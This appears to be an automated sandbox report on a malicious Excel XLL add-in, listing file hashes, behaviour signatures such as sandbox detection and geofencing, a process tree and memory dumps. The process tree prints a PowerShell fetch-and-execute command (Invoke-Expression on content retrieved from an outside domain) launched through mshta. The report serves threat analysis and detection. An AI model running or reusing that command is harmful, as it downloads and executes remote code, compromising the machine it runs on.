Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 01:30

General

  • Target

    a264b4b538f76d081fbbb59c8f9b916e156d959b0f9378576b67ea9c2fbc8f09.xll

  • Size

    12KB

  • MD5

    d9ce8b9648ff6af70d92099f2bd1aca9

  • SHA1

    a00cf0d51d34d004c1c8e3231dc4ef6cb0f3c7cf

  • SHA256

    a264b4b538f76d081fbbb59c8f9b916e156d959b0f9378576b67ea9c2fbc8f09

  • SHA512

    129d089f82e7180b07d2ec4731042ce496b685270dfeeeb0a5ad1a927f945702d02a568973e80f55f0c655934360044e7bb7e7626313d81ea62624046672d0fd

  • SSDEEP

    192:cL29RBzDzeobchBj8JONhVONH25axrulrEPEjr7AhI:y29jnbcvYJODk0YBulvr7CI

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a264b4b538f76d081fbbb59c8f9b916e156d959b0f9378576b67ea9c2fbc8f09.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1060
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4408
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3684

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\YB09K3UP\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qufkr4yl.5nw.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\a264b4b538f76d081fbbb59c8f9b916e156d959b0f9378576b67ea9c2fbc8f09.xll

    Filesize

    12KB

    MD5

    d9ce8b9648ff6af70d92099f2bd1aca9

    SHA1

    a00cf0d51d34d004c1c8e3231dc4ef6cb0f3c7cf

    SHA256

    a264b4b538f76d081fbbb59c8f9b916e156d959b0f9378576b67ea9c2fbc8f09

    SHA512

    129d089f82e7180b07d2ec4731042ce496b685270dfeeeb0a5ad1a927f945702d02a568973e80f55f0c655934360044e7bb7e7626313d81ea62624046672d0fd

  • memory/1060-12-0x00007FFAC1130000-0x00007FFAC1325000-memory.dmp

    Filesize

    2.0MB

  • memory/1060-11-0x00007FFAC1130000-0x00007FFAC1325000-memory.dmp

    Filesize

    2.0MB

  • memory/1060-5-0x00007FFA811B0000-0x00007FFA811C0000-memory.dmp

    Filesize

    64KB

  • memory/1060-86-0x00007FFAC1130000-0x00007FFAC1325000-memory.dmp

    Filesize

    2.0MB

  • memory/1060-7-0x00007FFAC1130000-0x00007FFAC1325000-memory.dmp

    Filesize

    2.0MB

  • memory/1060-9-0x00007FFAC1130000-0x00007FFAC1325000-memory.dmp

    Filesize

    2.0MB

  • memory/1060-0-0x00007FFA811B0000-0x00007FFA811C0000-memory.dmp

    Filesize

    64KB

  • memory/1060-84-0x00007FFA811B0000-0x00007FFA811C0000-memory.dmp

    Filesize

    64KB

  • memory/1060-10-0x00007FFAC1130000-0x00007FFAC1325000-memory.dmp

    Filesize

    2.0MB

  • memory/1060-13-0x00007FFA7F010000-0x00007FFA7F020000-memory.dmp

    Filesize

    64KB

  • memory/1060-8-0x00007FFAC1130000-0x00007FFAC1325000-memory.dmp

    Filesize

    2.0MB

  • memory/1060-15-0x00007FFAC1130000-0x00007FFAC1325000-memory.dmp

    Filesize

    2.0MB

  • memory/1060-16-0x00007FFA7F010000-0x00007FFA7F020000-memory.dmp

    Filesize

    64KB

  • memory/1060-85-0x00007FFA811B0000-0x00007FFA811C0000-memory.dmp

    Filesize

    64KB

  • memory/1060-3-0x00007FFA811B0000-0x00007FFA811C0000-memory.dmp

    Filesize

    64KB

  • memory/1060-4-0x00007FFAC11CD000-0x00007FFAC11CE000-memory.dmp

    Filesize

    4KB

  • memory/1060-6-0x00007FFAC1130000-0x00007FFAC1325000-memory.dmp

    Filesize

    2.0MB

  • memory/1060-1-0x00007FFA811B0000-0x00007FFA811C0000-memory.dmp

    Filesize

    64KB

  • memory/1060-14-0x00007FFAC1130000-0x00007FFAC1325000-memory.dmp

    Filesize

    2.0MB

  • memory/1060-83-0x00007FFA811B0000-0x00007FFA811C0000-memory.dmp

    Filesize

    64KB

  • memory/1060-82-0x00007FFA811B0000-0x00007FFA811C0000-memory.dmp

    Filesize

    64KB

  • memory/1060-2-0x00007FFA811B0000-0x00007FFA811C0000-memory.dmp

    Filesize

    64KB

  • memory/1060-66-0x00007FFAC1130000-0x00007FFAC1325000-memory.dmp

    Filesize

    2.0MB

  • memory/3684-56-0x0000000005EC0000-0x0000000005EDE000-memory.dmp

    Filesize

    120KB

  • memory/3684-57-0x0000000005F00000-0x0000000005F4C000-memory.dmp

    Filesize

    304KB

  • memory/3684-58-0x0000000007700000-0x0000000007D7A000-memory.dmp

    Filesize

    6.5MB

  • memory/3684-59-0x00000000063C0000-0x00000000063DA000-memory.dmp

    Filesize

    104KB

  • memory/3684-55-0x00000000058A0000-0x0000000005BF4000-memory.dmp

    Filesize

    3.3MB

  • memory/3684-45-0x0000000005830000-0x0000000005896000-memory.dmp

    Filesize

    408KB

  • memory/3684-44-0x00000000057C0000-0x0000000005826000-memory.dmp

    Filesize

    408KB

  • memory/3684-43-0x00000000056E0000-0x0000000005702000-memory.dmp

    Filesize

    136KB

  • memory/3684-42-0x0000000004FB0000-0x00000000055D8000-memory.dmp

    Filesize

    6.2MB

  • memory/3684-41-0x0000000004940000-0x0000000004976000-memory.dmp

    Filesize

    216KB